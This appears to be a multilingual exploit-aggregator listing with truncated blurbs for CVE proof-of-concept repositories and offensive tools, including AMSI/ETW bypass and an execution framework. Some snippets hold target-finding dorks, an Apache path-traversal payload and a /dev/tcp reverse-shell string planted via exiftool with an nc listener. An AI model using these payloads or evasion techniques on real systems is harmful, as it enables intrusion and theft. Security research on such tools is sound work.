CVE-2017-14322

CVE-2017-14322 Interspire Email Marketer emailmarketer Exploit Google Dork root@kitploit: intitle:"Control Panel" + emailmarketer Exploit mittels Burp Suit Fügen Sie eine Match-and-Replace-Regel für den Request-Header wie unten hinzu: root@kitploit: Match: ^Cookie.$ Replace: Cookie:...

CVE-2025-29927

CVE-2025-29927 - Next.js Middleware Authentifizierungsumgehung Erweiterte Umgehung 🔥 Übersicht Ein erweitertes PoC für CVE-2025-29927 , das die Authentifizierungsumgehung in Next.js Middleware durch Manipulation bestimmter Header ermöglicht. Diese Vorlage verbessert Techniken zur WAF-Umgehung und...

CVE-2022-26138

CVE-2022-26138 1. Einführung Confluence Hardcoded Password POC 2. Verwendung root@kitploit: poc -f host.txt // 批量扫描 poc -h 192.168.1.1 // 单个扫描 3. Haftungsausschluss Dieses Tool dient ausschließlich zu Lern-, Forschungs- und Selbstprüfungszwecken. Es sollte nicht für illegale Zwecke verwendet...

CVE-2023-2986

Original Proof of Concept für CVE-2023-2986 Proof of Concept für die Schwachstelle CVE-2023-2986 im Plugin 'Abandoned Cart Lite for WooCommerce' in WordPress Verwandte Details NVD Link : https://nvd.nist.gov/vuln/detail/CVE-2023-2986 Plugin Source :...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP nicht authentifizierte RCE-Sicherheitslücke F5 BIG-IP iControl REST Authentifizierungs-Bypass RCE-Schwachstelle fofa-Schlüsselwörter: title="BIG-IP- Redirect" Verwendung Angriff root@kitploit: $ python3 cve-2022-1388.py -t https://203.xxx.xxx.xxx + https://203.xxx.xxx.xxx ...

Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958

Benutzerdefinierter Exploit : Foxit Reader Version 9.0.1.1049 Use After Free mit ASLR- und DEP-Umgehung auf dem Heap Mein benutzerdefinierter Exploit : Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958 Benutzerdefinierter Exploit für Win 7 Hat Platz für Shellcode...

NfSpy

NfSpy - un client NFS che falsifica gli ID di Daniel Miller NfSpy è una libreria Python per automatizzare la falsificazione delle credenziali NFS quando si monta una condivisione NFS. Sono inclusi due programmi client: nfspy utilizza la libreria Filesystem in Userspace FUSE per montare una...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts root@kitploit: id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex...

ZombifyProcess

ZombifyProcess http://www.malwaretech.com/2014/12/zombie-processes-as-hips-bypass.html Ja, ich verwende do whilefalse, bitte hasse mich nicht...

Superset_auth_bypass_check

Supersetauthbypasscheck Strumento di rilevamento per la vulnerabilità di bypass dell'autenticazione di Apache Superset CVE-2023-27524 Data di correzione: 2023.8.3 Corretto il problema della scadenza della sessione dovuto a sessioni hardcoded scadute; è stato integrato lo strumento...

CVE-2023-24610

CVE-2023-24610 Questa è una prova di concetto per CVE-2023-24610 Iniziamo creando un file poliglotta usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamo il file in png in modo che superi il controllo del front-end Dopo di che, avviamo un listener nc...

CVE-2024-27198_Lab

Laboratorio CVE-2024-27198 Descrizione TeamCity fornisce una pagina riservata all'amministratore per la gestione dei token che non è protetta da autenticazione. Ciò consente a un utente non autenticato di generare un token di accesso per l'utente amministratore se riesce a trovare un ID di un...

CVE-2022-46169

CVE-2022-46169 Exploit per CVE-2022-46169 versioni di Cacti precedenti alla 1.2.3 Qui remoteclientauthorized controlla il nome host del client nella tabella poller per l'accesso root@kitploit: function remoteclientauthorized // ... $clientaddr = getclientaddr; // ... $clientname =...

NyxInvoke

NyxInvoke NyxInvoke è uno strumento versatile basato su Rust progettato per eseguire assembly .NET, comandi/script PowerShell, Beacon Object Files BOF e file PE, con funzionalità integrate di Ntdll Unhooking, bypass patchless di AMSI ed ETW. Può essere compilato sia come eseguibile standalone che...

CVE-2025-54424

CVE-2025-54424 CVE-2025-54424: strumento all-in-one per la vulnerabilità RCE da bypass del certificato client in 1Panel scansione + exploit Introduzione alla vulnerabilità 1Panel è un pannello di gestione operativa Linux open source e moderno che fornisce un'interfaccia grafica per distribuire si...

AMSI-ETW-Patch

AMSI-ETW-Patch este repositório contém informações para aplicar patch no AMSI e no ETW usando um patch de um único byte para ambos. A ideia era limitar a detecção do próprio patch, já que é um único byte. AMSI patch-amsi-x64.c A ideia é que o AMSI realiza muitas verificações de validação antes de...

CVE-2025-29927

Next.js Middleware Bypass Checker | CVE-2025-29927 Strumento automatizzato in Bash per rilevare applicazioni Next.js vulnerabili al bypass del middleware CVE-2025-29927 , secondo la ricerca di Zhero Web Security. Requisiti bash whatweb curl Installali su Debian/Ubuntu con: root@kitploit: sudo apt...

CVE-2023-33243

Proof of Concept per Login con Hash Password in STARFACE CVE-2023-33243 I dettagli sono descritti nel nostro advisory. Nel corrispondente post sul blog la vulnerabilità CVE-2023-33243 viene usata come esempio per descrivere come generalmente affrontiamo l'analisi dei meccanismi di autenticazione ...

nextjs-cve-2025-29927-poc

Next.js POC für CVE-2025-29927 Umgehung der Autorisierung in Next.js Middleware · CVE-2025-29927 · GitHub Advisory Database Next.js und die korrupte Middleware: das autorisierende Artefakt - zherowebsecurity- Was ist das? Diese Schwachstelle ermöglicht es, die Middleware-Logik zu umgehen...

CVE-2024-40898

CVE-2024-40898 Este script Python verifica a presença da CVE-2024-40898, uma vulnerabilidade crítica no Apache HTTP Server que pode permitir a bypass da verificação de certificados SSL/TLS sob certas configurações incorretas. Ele inicia uma conexão SSL com o servidor de destino e envia uma...